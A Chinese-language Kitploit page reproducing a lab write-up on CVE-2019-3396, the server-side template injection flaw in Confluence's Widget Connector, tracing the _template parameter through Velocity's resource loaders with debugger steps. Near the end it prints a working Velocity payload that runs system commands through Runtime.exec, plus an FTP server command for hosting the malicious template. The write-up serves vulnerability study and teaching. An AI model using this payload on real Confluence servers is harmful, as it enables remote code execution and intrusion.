Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-3396 — 针对CVE-2019-3396的逐步分析与利用指南,这是一个在Confluence Server和Data Center中的严重SSTI漏洞,包括调试和RCE payload执行。 | Kitploit
工具/GitHubGitHub/tranphuc2005/cve-2019-3396
漏洞分析代码分析漏洞利用Web应用程序漏洞利用学习与教育实验室与实践
GitHubtranphuc2005/cve-2019-3396

CVE-2019-3396

针对CVE-2019-3396的逐步分析与利用指南,这是一个在Confluence Server和Data Center中的严重SSTI漏洞,包括调试和RCE payload执行。

查看仓库
341年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2019-3396

🔎 主要信息:

  • 受影响产品: Confluence Server & Data Center

  • 受影响版本: 6.0.0 至 6.15.4

  • 严重程度: 严重 (CVSS ~9.8)

  • 原因:

    • Confluence 的 Widget Connector 插件(用于嵌入 YouTube、Vimeo 等外部视频和内容)。

    • 该功能未正确验证用户输入,导致服务端模板注入(SSTI)。

    • 攻击者可发送恶意 payload → Confluence 使用 Velocity 模板引擎渲染 → 在服务器上执行代码。

1. 安装并启动网站

  • 安装存在漏洞的版本,例如 6.9.0:
root@kitploit:~
https://www.atlassian.com/software/confluence/downloads/binary/atlassian-confluence-6.9.0.zip
  • 按照指南执行安装步骤
root@kitploit:~
https://nguyendt.hashnode.dev/confluence-cve-2019-3396
  • 安装成功后,将看到如下界面:

1

2. 查找漏洞位置并进行调试

2.1 查找漏洞位置

  • 根据 POC,漏洞功能位于 Widget Connector(用于嵌入视频、YouTube、Vimeo 等外部内容)中。
  • 查找该功能:
  1. 选择 Other macros

1

  1. 搜索解析工具 Widget Connector

1

  1. 输入链接并填写所需信息,然后点击 Preview

1

2.2 设置调试环境

  • 由于描述中提到了 Widget Connector,我们尝试在 Confluence 源码文件夹中搜索

1

  • 使用 Intellij IDEA 读取 .jar 文件。
  • 在链接解析处理的地方设置 断点,并开始调试。

开始调试

  • 进行调试,在 com.atlassian.confluence.extra.widgetconnector.WidgetMacro.class 设置 断点。
  • 此处可以看到相关参数。
  • 调用到 DefaultRenderManager.class

1

  • 此处使用了 getEmbeddedHtml() 方法。
  • 返回用于嵌入外部内容(视频、widget、文档等)的 HTML 代码,基于用户插入 Confluence 页面的 URL。
  • 由此调用到 YoutubeRenderer

1

  • 进入 YoutubeRenderer 类。
  • 该方法 getEmbeddedHtml(String url, Map<String, String> params)
  • url → 用户输入的原始 YouTube 链接。
  • params → 包含渲染配置参数的 map(例如:宽度、高度、用于渲染的模板等)。

1

  • 继续调用 getEmbedUrl(), setDefaultParam() 和 DefaultVelocityRenderService.render()
  • 重点关注 setDefaultParam()

1

  • 如果尚未设置 _template → 将默认模板设为 youtube.vm。 => 可以自行向程序添加 _template。

  • 接下来进入 DefaultVelocityRenderService.render()

  1. 方法目的

    • 接收 url 和参数 params。

    • 使用 Velocity 模板 (.vm) 渲染为嵌入 HTML(iframe, embed 等)。

  2. 确定模板

    • 如果 params 中包含 _template → 使用该模板。

    • 否则 → 使用默认模板 embed.vm。

  3. 通过 MacroUtils.defaultVelocityContext() 创建默认上下文。

  • 将 params 中的所有参数放入上下文:

    • 如果键为 tweetHtml → 保持 HTML 不变。

    • 否则 → 使用 GeneralUtil.htmlEncode() 进行安全编码。

  • 将 urlHtml、width、height 加入上下文(如果为空,则默认赋值为 400 × 300)。

1

  • 调用 VelocityUtils.getRenderedTemplate()

1

  • 现在进入 VelocityUtils 类。
  • 上方调用了 getRenderedTemplate 和 getRenderedTemplateWithoutSwallowingErrors()

1

  • 然后继续调用 getTemplate()

1

  • 这里的 templateName 就是上方的 _template。

  • 继续调用 VelocityEngine.Template()

1

  • 在 VelocityEngine 类中,继续调用 RunimeInstance.getTemplate()

1

RuntimeInstance (Velocity 核心)
这是 Velocity 引擎的“心脏”。它负责:

  • 初始化引擎 (init)

  • 管理配置、宏、解析器、指令、事件处理程序等。

  • 特别是:通过 ResourceManager 管理资源

→ 也就是说 RuntimeInstance 不会自行加载资源,而是委托给 resourceManager。

  • 然后调用 CompatibleVelocityResourceManager.getResource()

1

ConfigurableResourceManager (Confluence 自定义)
这是 ResourceManager 接口的一个实现。
它负责:

  • 管理 资源加载器(文件加载器、类路径加载器、URL 加载器等)。

  • 管理 globalCache(根据 resourceKey 缓存模板)。

  • 当 RuntimeInstance 请求时,执行模板(.vm 文件)的加载/刷新。

1

root@kitploit:~
try {
    this.refreshResource(resource, encoding);
} catch (ResourceNotFoundException var7) {
    this.globalCache.remove(resourceKey);
    return this.getResource(resourceName, resourceType, encoding);
}
  • 当资源存在于缓存中时,不会立即返回,而是调用 refreshResource(...)。

  • refreshResource 会比较磁盘上的 lastModified 时间 与缓存中的时间。

  • 如果文件已更改 → 缓存中的资源将失效 → 从磁盘重新加载 → 更新缓存。

👉 因此你无需手动更改 resourceKey。刷新机制确保了模板变更时缓存也会更新。

添加 _template 并重新发送请求

1

  • 可以看到 Velocity 中 ResourceLoader 实例列表(已初始化的对象)

1

1

  • 这里我们只关心 FileResourceLoader 和 ClasspathResourceLoader

1. 对于 FileResourceLoader

调用 StringUtils.normalizePath() 来阻止路径遍历

1

  • normalizePath 的内容如图所示

1

  • 尝试读取 /WEB-INF/web.xml 文件,可以看到文件已成功加载。

1

  • 但由于被 /../ 拦截,仍然无法跳出 Confluence 目录。
  • 继续检查 ClasspathResourceLoader

2. ClasspathResourceLoader

1

  • 跟踪到 ClassUtils.getResourceAsStream

1

  • 它调用了 /org/apache/catalina/loader/WebappClassLoaderBase.class 的 findResource()

1

  • 继续调用 super.findResource() 返回 URL,即可以获取到对象。

1

1

  • 调用 url.openStream() 获取数据

1

  • 最后将数据传递给 Velocity 渲染。

1

  • 如果在实际情况下不知道具体路径,可以利用 Java 的 file scheme 来列出目录列表

1

有出站能力

执行 Payload

root@kitploit:~
#set ($exp="test")
#set ($runtime=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
#set ($process=$runtime.exec("id"))
#set ($input=$process.getInputStream())
#set ($sc=$exp.getClass().forName("java.util.Scanner"))
#set ($constructor=$sc.getDeclaredConstructor($input.getClass().forName("java.io.InputStream")))
#set ($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if ($scan.hasNext())
  $scan.next()
#end
  • 调用 $runtime.exec("id") → 在 Ubuntu 上执行系统命令 "id"。
  • 用以下命令开启一个 FTP 服务:
root@kitploit:~
python3 -m pyftpdlib -p 2005

1

执行:

1

下载工具